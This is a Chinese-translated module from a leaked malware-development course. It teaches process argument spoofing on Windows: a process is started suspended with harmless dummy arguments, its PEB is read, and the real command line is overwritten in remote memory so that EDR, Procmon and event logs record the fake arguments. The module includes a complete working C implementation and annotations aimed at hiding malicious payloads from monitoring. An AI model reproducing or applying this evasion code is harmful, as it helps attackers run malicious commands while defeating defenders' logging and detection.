模块 48 - 进程参数伪装 (1)
恶意软件开发课程 - 进程参数伪装 (1)
模块 48 - 进程参数伪装 (1)#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
进程参数伪装 (1)#
简介#
进程参数伪装 (Process Argument Spoofing) 是一种用于隐藏新创建进程的命令行参数的技术。其目的是在不向日志服务(如 Procmon ↗ 或 Windows 事件日志)透露真实命令的情况下执行操作。
下图显示了 powershell.exe -c calc.exe 命令被 Procmon 捕获的情况。本模块的目标是在运行该命令的同时,让其在 Procmon 中显示为通过其他“无害”的参数启动。

💡 初学者提示:为什么要伪装参数?
很多监控软件(如 EDR)在进程启动的一瞬间,会记录下它的命令行参数。
比如你运行
powershell.exe -Enc QmFkQ29kZQ==(一段加密的恶意代码),监控系统会立刻报警。但如果你先用一个无害的命令启动(如powershell.exe "Nothing suspicious here..."),然后在它还没正式开始工作前,偷偷修改它内存里的参数,那么监控系统记录下来的就是那个“无害”的字符串,而实际执行的却是你的恶意代码。
回顾 PEB#
执行参数伪装的第一步是理解参数在进程内部的存储位置。回顾课程开始时讲解的 PEB 结构 ↗,它保存了关于进程的信息。更具体地说,PEB 内部的 RTL_USER_PROCESS_PARAMETERS ↗ 结构包含 CommandLine 成员,该成员保存了命令行参数。
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine; // 这里就是存储命令行的地方
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;cCommandLine 的类型是 UNICODE_STRING ↗。
UNICODE_STRING 结构#
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer; // 指向实际宽字符字符串的指针
} UNICODE_STRING, *PUNICODE_STRING;cBuffer 元素包含命令行参数的内容。因此,我们可以通过 PEB->ProcessParameters.CommandLine.Buffer 以宽字符字符串的形式访问命令行参数。
如何伪装进程参数#
伪装命令行参数的基本流程如下:
- 挂起启动:创建一个目标进程并处于挂起状态(
CREATE_SUSPENDED),传入“假的”(无害的)哑元参数(Dummy arguments)。 - 获取 PEB:获取该远程进程的 PEB 地址。
- 读取内存:从远程进程中读取 PEB 及其中的
ProcessParameters。 - 修补参数:使用
WriteProcessMemory修改远程进程内存中ProcessParameters.CommandLine.Buffer所指向的字符串,将其改写为真正要执行的 Payload 字符串。 - 恢复运行:恢复进程运行。
⚠️ 重要限制:长度问题
写入
CommandLine.Buffer的真实参数长度必须小于或等于启动时传入的哑元参数长度。如果真实参数更长,它可能会覆盖掉哑元参数缓冲区之外的内存数据,导致进程奔溃。
口诀:假的要长,真的要短(或相等)。
获取远程 PEB 地址#
检索远程进程的 PEB 地址需要使用 NtQueryInformationProcess 和 ProcessBasicInformation 标志。

当使用 ProcessBasicInformation 时,该函数返回一个 PROCESS_BASIC_INFORMATION 结构,其中的 PebBaseAddress 成员即为我们需要的地址。
处理读取和写入#
读取远程 PEB 和参数结构体需要使用 ReadProcessMemory,而修改参数则需要使用 WriteProcessMemory。
我们需要分步骤进行:
- 第一次读取:根据 PEB 地址读取整个 PEB 结构。
- 第二次读取:从 PEB 中找到
ProcessParameters指针,读取该结构体。这里通常会多读取一些字节(如额外加 225 字节),以确保涵盖了由于参数长度变化可能导致的结构体差异。 - 写入:找到
CommandLine.Buffer指向的地址,覆盖写入真正的 Payload。
进程参数伪装函数实现#
CreateArgSpoofedProcess 函数封装了整个流程。
BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
NTSTATUS STATUS = NULL;
WCHAR szProcess [MAX_PATH];
STARTUPINFOW Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
PROCESS_BASIC_INFORMATION PBI = { 0 };
ULONG uRetern = NULL;
PPEB pPeb = NULL;
PRTL_USER_PROCESS_PARAMETERS pParms = NULL;
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFOW);
// 获取 NtQueryInformationProcess 地址
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL)
return FALSE;
lstrcpyW(szProcess, szStartupArgs);
// 1. 以挂起状态创建进程,并传入无害的哑元参数
if (!CreateProcessW(
NULL,
szProcess,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL,
L"C:\\Windows\\System32\\", // 设置一个正常的当前目录
&Si,
&Pi)) {
printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
// 2. 获取包含 PEB 地址的结构体
if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// 3. 从远程进程读取 PEB 结构
if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
printf("\t[!] Failed To Read Target's Process Peb \n");
return FALSE;
}
// 4. 从 PEB 中读取 RTL_USER_PROCESS_PARAMETERS
// 多读一些字节 (0xFF) 确保我们抓到了 Buffer 指针
if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
return FALSE;
}
// 5. 关键操作:将真实的(恶意的)参数写入远程进程的 CommandLine.Buffer 中
// 覆盖掉之前的哑元字符串
if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + sizeof(WCHAR)))) {
printf("\t[!] Failed To Write The Real Parameters\n");
return FALSE;
}
// 清理内存
HeapFree(GetProcessHeap(), NULL, pPeb);
HeapFree(GetProcessHeap(), NULL, pParms);
// 6. 恢复线程执行
// 此时日志系统记录的是 szStartupArgs,但实际跑的是 szRealArgs
ResumeThread(Pi.hThread);
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
return (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL);
}c演示#
哑元参数:powershell.exe Totally Legit Argument (这将被记录在日志中)。
实际执行:powershell.exe -c calc.exe (这将被静默运行)。

🎯 总结#
在本模块中,我们学习了:
- 参数存储:理解了命令行参数存储在 PEB 的
ProcessParameters.CommandLine中。 - 挂起修补法:利用
CREATE_SUSPENDED启动机会,在进程开始工作前修改其内存。 - 规避原理:由于监控软件通常只在进程创建时抓取一次参数快照,我们的后期修补可以成功隐瞒真实意图。
💡 关键要点
- 长度敏感:一定要确保启动时的哑元参数足够长,就像买大一码的鞋(容纳不同长度的脚)。
- 底层操作:涉及
ReadProcessMemory和WriteProcessMemory对远程 PEB 的直接修改。
📚 下一步学习
下一个模块将介绍 Process Argument Spoofing (2)。我们将探讨这种技术的一些局限性,以及如何通过更高级的手段进行改良。